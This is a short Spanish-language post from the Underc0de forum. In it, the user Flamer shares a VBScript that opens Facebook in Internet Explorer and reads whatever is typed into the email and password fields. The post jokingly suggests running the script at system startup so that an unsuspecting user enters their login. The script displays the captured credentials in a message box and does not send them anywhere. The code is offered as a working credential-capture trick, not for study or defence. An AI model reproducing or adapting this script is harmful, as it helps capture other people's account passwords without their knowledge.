Underc0de

Programación Scripting => Otros lenguajes Scripting => Mensaje iniciado por: Flamer en Diciembre 25, 2016, 12:17:55 AM

Título: [Aporte] Obtener Nombre De Usuario y Contraseña De Facebook Con Un Simple script
Publicado por: Flamer en Diciembre 25, 2016, 12:17:55 AM
Hola aquí unas de mis travesuras con vbscript que me encanta y es un código para obtener lo escrito en un campo de texto de x pagina como ejemplo puse la pagina de facebook aquí el código

Código (vb) [Seleccionar]

Set objShell = CreateObject("WScript.Shell")
set IE = CreateObject("InternetExplorer.Application")

IE.Navigate "https://www.facebook.com/"
IE.visible = true
Do While IE.ReadyState < 4
Loop
while IE.LocationURL = "https://www.facebook.com/"
   u = IE.document.GetElementById("email").value
   p = IE.document.GetElementById("pass").value
wend
msgbox u & "        " & p


pueden probarlo si gustan y seria mas divertido si ejecutamos el script al iniciar la pc y si el usuario ve la ejecución de Internet explorer normal y rellena los campos  jajajaja

saludos Flamer y lastima que no se puede usar chrome en vbscript